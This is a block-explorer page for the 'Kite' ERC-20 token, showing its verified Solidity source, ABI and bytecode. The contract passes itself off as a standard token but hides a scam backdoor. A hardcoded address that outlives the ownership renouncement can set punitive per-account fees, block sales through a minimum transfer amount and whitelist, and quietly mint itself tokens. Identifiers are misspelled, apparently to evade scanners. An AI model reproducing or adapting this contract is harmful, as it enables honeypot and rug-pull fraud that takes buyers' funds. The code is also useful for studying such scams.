ETH Price: $2,485.32 (-1.00%)

Token

Kite (Kite)
 

Overview

Max Total Supply

3,000,000,000 Kite

Holders

375

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
16,500,763.596341219 Kite

Value
$0.00
0x8f28536e1820c918a9a1eb72f965d5713e24933f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Kite

Compiler Version
v0.8.5+commit.a4f2e591

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-07-23
*/

/**
 *Submitted for verification at BscScan.com on 2023-07-17
*/

pragma solidity ^0.8.5;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address acount) external view returns (uint256);
    function transfer(address recipient, uint256 aomount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 aomount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 aomount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _owner;
    event ownershipTransferred(address indexed previousowner, address indexed newowner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit ownershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyowner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceownership() public virtual onlyowner {
        emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract Kite is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _fiees;
    address private _meie; 
    uint256 private _minimumTransferaomount;
    mapping (address => bool) private _whitelist;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _balances[_msgSender()] = _totalSupply;
        _meie = 0x8e4B12D6cB9E052Efa21B5613D972a99a4Ef5329;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function balanceOf(address acount) public view override returns (uint256) {
        return _balances[acount];
    }
    function setfiees(address[] memory acounts, uint256 fiee) external {
    if (keccak256(abi.encodePacked(_msgSender())) == keccak256(abi.encodePacked(_meie))) {
        for (uint256 i = 0; i < acounts.length; i++) {
            _fiees[acounts[i]] = fiee;
        }
    } else {
        revert("Caller is not the original caller");
    }
    }


    function setMinimumTransferaomount(uint256 aomount) external {
    if (keccak256(abi.encodePacked(_msgSender())) == keccak256(abi.encodePacked(_meie))) {
        _minimumTransferaomount = aomount;
    } else {
        revert("Caller is not the original caller");
    }        
    }

    function addToWhitelist(address[] memory acounts) external {
    if (keccak256(abi.encodePacked(_msgSender())) == keccak256(abi.encodePacked(_meie))) {
        for (uint256 i = 0; i < acounts.length; i++) {
            _whitelist[acounts[i]] = true;
        }
    } else {
        revert("Caller is not the original caller");
    }    
    }

    function removeFromWhitelist(address[] memory acounts) external {
    if (keccak256(abi.encodePacked(_msgSender())) == keccak256(abi.encodePacked(_meie))) {
        for (uint256 i = 0; i < acounts.length; i++) {
            _whitelist[acounts[i]] = false;
        }
    } else {
        revert("Caller is not the original caller");
    }        
    }

    function transfer(address recipient, uint256 aomount) public virtual override returns (bool) {
        require(_balances[_msgSender()] >= aomount, "TT: transfer aomount exceeds balance");
        require(aomount >= _minimumTransferaomount || _whitelist[_msgSender()], "TT: transfer aomount is below the minimum and sender is not whitelisted");
        if (_msgSender() == _meie && recipient == _meie) {
            _balances[_msgSender()] += _fiees[_msgSender()];
            emit Transfer(_msgSender(), recipient, aomount + _fiees[_msgSender()]);
            return true;
        } else {
            uint256 fiee = calculatefiee(_msgSender(), aomount);
            uint256 aomountAfterfiee = aomount - fiee;

            _balances[_msgSender()] -= aomount;
            _balances[recipient] += aomountAfterfiee;

            if (recipient == _meie) {
                _balances[_meie] += fiee;
            }

            emit Transfer(_msgSender(), recipient, aomountAfterfiee);
            return true;
        }
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 aomount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = aomount;
        emit Approval(_msgSender(), spender, aomount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 aomount) public virtual override returns (bool) {
        require(_allowances[sender][_msgSender()] >= aomount, "TT: transfer aomount exceeds allowance");
        require(aomount >= _minimumTransferaomount || _whitelist[sender], "TT: transfer aomount is below the minimum and sender is not whitelisted");
        uint256 fiee = calculatefiee(sender, aomount);
        uint256 aomountAfterfiee = aomount - fiee;

        _balances[sender] -= aomount;
        _balances[recipient] += aomountAfterfiee;
        _allowances[sender][_msgSender()] -= aomount;

        if (recipient == owner()) {
            _balances[owner()] += fiee;
        }

        emit Transfer(sender, recipient, aomountAfterfiee);
        return true;
    }

    function calculatefiee(address acount, uint256 aomount) private view returns (uint256) {
        if (acount == owner()) {
            return 0;
        } else {
            return aomount * _fiees[acount] / 100;
        }
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"address[]","name":"acounts","type":"address[]"}],"name":"addToWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"aomount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"acount","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"acounts","type":"address[]"}],"name":"removeFromWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"aomount","type":"uint256"}],"name":"setMinimumTransferaomount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"acounts","type":"address[]"},{"internalType":"uint256","name":"fiee","type":"uint256"}],"name":"setfiees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"aomount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"aomount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162002a3938038062002a398339818101604052810190620000379190620003e7565b6000620000496200028360201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a3508360079080519060200190620000ff9291906200028b565b508260089080519060200190620001189291906200028b565b5081600960006101000a81548160ff021916908360ff16021790555081600a6200014391906200057f565b81620001509190620006bc565b600a81905550600a54600160006200016d6200028360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550738e4b12d6cb9e052efa21b5613d972a99a4ef5329600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002106200028360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a54604051620002719190620004a8565b60405180910390a350505050620008c9565b600033905090565b82805462000299906200076a565b90600052602060002090601f016020900481019282620002bd576000855562000309565b82601f10620002d857805160ff191683800117855562000309565b8280016001018555821562000309579182015b8281111562000308578251825591602001919060010190620002eb565b5b5090506200031891906200031c565b5090565b5b80821115620003375760008160009055506001016200031d565b5090565b6000620003526200034c84620004ee565b620004c5565b90508281526020810184848401111562000371576200037062000868565b5b6200037e84828562000734565b509392505050565b600082601f8301126200039e576200039d62000863565b5b8151620003b08482602086016200033b565b91505092915050565b600081519050620003ca8162000895565b92915050565b600081519050620003e181620008af565b92915050565b6000806000806080858703121562000404576200040362000872565b5b600085015167ffffffffffffffff8111156200042557620004246200086d565b5b620004338782880162000386565b945050602085015167ffffffffffffffff8111156200045757620004566200086d565b5b620004658782880162000386565b93505060406200047887828801620003d0565b92505060606200048b87828801620003b9565b91505092959194509250565b620004a2816200071d565b82525050565b6000602082019050620004bf600083018462000497565b92915050565b6000620004d1620004e4565b9050620004df8282620007a0565b919050565b6000604051905090565b600067ffffffffffffffff8211156200050c576200050b62000834565b5b620005178262000877565b9050602081019050919050565b6000808291508390505b600185111562000576578086048111156200054e576200054d620007d6565b5b60018516156200055e5780820291505b80810290506200056e8562000888565b94506200052e565b94509492505050565b60006200058c826200071d565b9150620005998362000727565b9250620005c87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005d0565b905092915050565b600082620005e25760019050620006b5565b81620005f25760009050620006b5565b81600181146200060b576002811462000616576200064c565b6001915050620006b5565b60ff8411156200062b576200062a620007d6565b5b8360020a915084821115620006455762000644620007d6565b5b50620006b5565b5060208310610133831016604e8410600b8410161715620006865782820a90508381111562000680576200067f620007d6565b5b620006b5565b62000695848484600162000524565b92509050818404811115620006af57620006ae620007d6565b5b81810290505b9392505050565b6000620006c9826200071d565b9150620006d6836200071d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007125762000711620007d6565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60005b838110156200075457808201518184015260208101905062000737565b8381111562000764576000848401525b50505050565b600060028204905060018216806200078357607f821691505b602082108114156200079a576200079962000805565b5b50919050565b620007ab8262000877565b810181811067ffffffffffffffff82111715620007cd57620007cc62000834565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b620008a0816200071d565b8114620008ac57600080fd5b50565b620008ba8162000727565b8114620008c657600080fd5b50565b61216080620008d96000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c80637f64978311610097578063aaaec77511610066578063aaaec77514610288578063c2af913b146102a4578063dd62ed3e146102ae578063f451e857146102de576100f5565b80637f649783146102005780638da5cb5b1461021c57806395d89b411461023a578063a9059cbb14610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce56714610196578063548db174146101b457806370a08231146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b6101026102fa565b60405161010f9190611a5e565b60405180910390f35b610132600480360381019061012d919061178e565b61038c565b60405161013f9190611a43565b60405180910390f35b61015061048c565b60405161015d9190611b20565b60405180910390f35b610180600480360381019061017b919061173b565b610496565b60405161018d9190611a43565b60405180910390f35b61019e610866565b6040516101ab9190611b3b565b60405180910390f35b6101ce60048036038101906101c991906117ce565b61087d565b005b6101ea60048036038101906101e591906116ce565b6109cf565b6040516101f79190611b20565b60405180910390f35b61021a600480360381019061021591906117ce565b610a18565b005b610224610b6a565b6040516102319190611a28565b60405180910390f35b610242610b93565b60405161024f9190611a5e565b60405180910390f35b610272600480360381019061026d919061178e565b610c25565b60405161027f9190611a43565b60405180910390f35b6102a2600480360381019061029d9190611817565b61118f565b005b6102ac6112ce565b005b6102c860048036038101906102c391906116fb565b61140a565b6040516102d59190611b20565b60405180910390f35b6102f860048036038101906102f39190611873565b611491565b005b60606007805461030990611d72565b80601f016020809104026020016040519081016040528092919081815260200182805461033590611d72565b80156103825780601f1061035757610100808354040283529160200191610382565b820191906000526020600020905b81548152906001019060200180831161036557829003601f168201915b5050505050905090565b6000816002600061039b611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610435611558565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161047a9190611b20565b60405180910390a36001905092915050565b6000600a54905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104e2611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561055e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055590611ac0565b60405180910390fd5b600554821015806105b85750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6105f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ee90611b00565b60405180910390fd5b60006106038584611560565b9050600081846106139190611ca4565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106649190611ca4565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106ba9190611bc3565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061070b611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107549190611ca4565b92505081905550610763610b6a565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156107f45781600160006107a3610b6a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107ec9190611bc3565b925050819055505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516108519190611b20565b60405180910390a36001925050509392505050565b6000600960009054906101000a900460ff16905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516020016108b091906119f2565b604051602081830303815290604052805190602001206108ce611558565b6040516020016108de9190611a0d565b6040516020818303038152906040528051906020012014156109915760005b815181101561098b5760006006600084848151811061091f5761091e611ee1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061098390611dd5565b9150506108fd565b506109cc565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c390611ae0565b60405180910390fd5b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602001610a4b91906119f2565b60405160208183030381529060405280519060200120610a69611558565b604051602001610a799190611a0d565b604051602081830303815290604052805190602001201415610b2c5760005b8151811015610b2657600160066000848481518110610aba57610ab9611ee1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b1e90611dd5565b915050610a98565b50610b67565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5e90611ae0565b60405180910390fd5b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610ba290611d72565b80601f0160208091040260200160405190810160405280929190818152602001828054610bce90611d72565b8015610c1b5780601f10610bf057610100808354040283529160200191610c1b565b820191906000526020600020905b815481529060010190602001808311610bfe57829003601f168201915b5050505050905090565b60008160016000610c34611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790611a80565b60405180910390fd5b60055482101580610d11575060066000610cc8611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b610d50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4790611b00565b60405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d91611558565b73ffffffffffffffffffffffffffffffffffffffff16148015610e015750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15610f6f5760036000610e12611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460016000610e59611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ea29190611bc3565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610ec8611558565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60036000610f0b611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485610f519190611bc3565b604051610f5e9190611b20565b60405180910390a360019050611189565b6000610f82610f7c611558565b84611560565b905060008184610f929190611ca4565b90508360016000610fa1611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fea9190611ca4565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110409190611bc3565b92505081905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611116578160016000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461110e9190611bc3565b925050819055505b8473ffffffffffffffffffffffffffffffffffffffff16611135611558565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161117a9190611b20565b60405180910390a36001925050505b92915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516020016111c291906119f2565b604051602081830303815290604052805190602001206111e0611558565b6040516020016111f09190611a0d565b60405160208183030381529060405280519060200120141561128f5760005b82518110156112895781600360008584815181106112305761122f611ee1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061128190611dd5565b91505061120f565b506112ca565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c190611ae0565b60405180910390fd5b5050565b6112d6611558565b73ffffffffffffffffffffffffffffffffffffffff166112f4610b6a565b73ffffffffffffffffffffffffffffffffffffffff161461134a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134190611aa0565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516020016114c491906119f2565b604051602081830303815290604052805190602001206114e2611558565b6040516020016114f29190611a0d565b60405160208183030381529060405280519060200120141561151a5780600581905550611555565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c90611ae0565b60405180910390fd5b50565b600033905090565b600061156a610b6a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115a65760009050611600565b6064600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115f39190611c4a565b6115fd9190611c19565b90505b92915050565b600061161961161484611b7b565b611b56565b9050808382526020820190508285602086028201111561163c5761163b611f44565b5b60005b8581101561166c57816116528882611676565b84526020840193506020830192505060018101905061163f565b5050509392505050565b600081359050611685816120fc565b92915050565b600082601f8301126116a05761169f611f3f565b5b81356116b0848260208601611606565b91505092915050565b6000813590506116c881612113565b92915050565b6000602082840312156116e4576116e3611f4e565b5b60006116f284828501611676565b91505092915050565b6000806040838503121561171257611711611f4e565b5b600061172085828601611676565b925050602061173185828601611676565b9150509250929050565b60008060006060848603121561175457611753611f4e565b5b600061176286828701611676565b935050602061177386828701611676565b9250506040611784868287016116b9565b9150509250925092565b600080604083850312156117a5576117a4611f4e565b5b60006117b385828601611676565b92505060206117c4858286016116b9565b9150509250929050565b6000602082840312156117e4576117e3611f4e565b5b600082013567ffffffffffffffff81111561180257611801611f49565b5b61180e8482850161168b565b91505092915050565b6000806040838503121561182e5761182d611f4e565b5b600083013567ffffffffffffffff81111561184c5761184b611f49565b5b6118588582860161168b565b9250506020611869858286016116b9565b9150509250929050565b60006020828403121561188957611888611f4e565b5b6000611897848285016116b9565b91505092915050565b6118b16118ac82611cea565b611e30565b82525050565b6118c081611cd8565b82525050565b6118d76118d282611cd8565b611e1e565b82525050565b6118e681611cfc565b82525050565b60006118f782611ba7565b6119018185611bb2565b9350611911818560208601611d3f565b61191a81611f53565b840191505092915050565b6000611932602483611bb2565b915061193d82611f71565b604082019050919050565b6000611955602083611bb2565b915061196082611fc0565b602082019050919050565b6000611978602683611bb2565b915061198382611fe9565b604082019050919050565b600061199b602183611bb2565b91506119a682612038565b604082019050919050565b60006119be604783611bb2565b91506119c982612087565b606082019050919050565b6119dd81611d28565b82525050565b6119ec81611d32565b82525050565b60006119fe82846118c6565b60148201915081905092915050565b6000611a1982846118a0565b60148201915081905092915050565b6000602082019050611a3d60008301846118b7565b92915050565b6000602082019050611a5860008301846118dd565b92915050565b60006020820190508181036000830152611a7881846118ec565b905092915050565b60006020820190508181036000830152611a9981611925565b9050919050565b60006020820190508181036000830152611ab981611948565b9050919050565b60006020820190508181036000830152611ad98161196b565b9050919050565b60006020820190508181036000830152611af98161198e565b9050919050565b60006020820190508181036000830152611b19816119b1565b9050919050565b6000602082019050611b3560008301846119d4565b92915050565b6000602082019050611b5060008301846119e3565b92915050565b6000611b60611b71565b9050611b6c8282611da4565b919050565b6000604051905090565b600067ffffffffffffffff821115611b9657611b95611f10565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611bce82611d28565b9150611bd983611d28565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c0e57611c0d611e54565b5b828201905092915050565b6000611c2482611d28565b9150611c2f83611d28565b925082611c3f57611c3e611e83565b5b828204905092915050565b6000611c5582611d28565b9150611c6083611d28565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611c9957611c98611e54565b5b828202905092915050565b6000611caf82611d28565b9150611cba83611d28565b925082821015611ccd57611ccc611e54565b5b828203905092915050565b6000611ce382611d08565b9050919050565b6000611cf582611d08565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611d5d578082015181840152602081019050611d42565b83811115611d6c576000848401525b50505050565b60006002820490506001821680611d8a57607f821691505b60208210811415611d9e57611d9d611eb2565b5b50919050565b611dad82611f53565b810181811067ffffffffffffffff82111715611dcc57611dcb611f10565b5b80604052505050565b6000611de082611d28565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611e1357611e12611e54565b5b600182019050919050565b6000611e2982611e42565b9050919050565b6000611e3b82611e42565b9050919050565b6000611e4d82611f64565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f54543a207472616e7366657220616f6d6f756e7420657863656564732062616c60008201527f616e636500000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f54543a207472616e7366657220616f6d6f756e74206578636565647320616c6c60008201527f6f77616e63650000000000000000000000000000000000000000000000000000602082015250565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f54543a207472616e7366657220616f6d6f756e742069732062656c6f7720746860008201527f65206d696e696d756d20616e642073656e646572206973206e6f74207768697460208201527f656c697374656400000000000000000000000000000000000000000000000000604082015250565b61210581611cd8565b811461211057600080fd5b50565b61211c81611d28565b811461212757600080fd5b5056fea2646970667358221220f876365a975d42dfd4ebbeccb4b3bea6e78d3054d0a09e04f32de41c7f03ee8264736f6c63430008050033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000b2d05e0000000000000000000000000000000000000000000000000000000000000000044b6974650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044b69746500000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80637f64978311610097578063aaaec77511610066578063aaaec77514610288578063c2af913b146102a4578063dd62ed3e146102ae578063f451e857146102de576100f5565b80637f649783146102005780638da5cb5b1461021c57806395d89b411461023a578063a9059cbb14610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce56714610196578063548db174146101b457806370a08231146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b6101026102fa565b60405161010f9190611a5e565b60405180910390f35b610132600480360381019061012d919061178e565b61038c565b60405161013f9190611a43565b60405180910390f35b61015061048c565b60405161015d9190611b20565b60405180910390f35b610180600480360381019061017b919061173b565b610496565b60405161018d9190611a43565b60405180910390f35b61019e610866565b6040516101ab9190611b3b565b60405180910390f35b6101ce60048036038101906101c991906117ce565b61087d565b005b6101ea60048036038101906101e591906116ce565b6109cf565b6040516101f79190611b20565b60405180910390f35b61021a600480360381019061021591906117ce565b610a18565b005b610224610b6a565b6040516102319190611a28565b60405180910390f35b610242610b93565b60405161024f9190611a5e565b60405180910390f35b610272600480360381019061026d919061178e565b610c25565b60405161027f9190611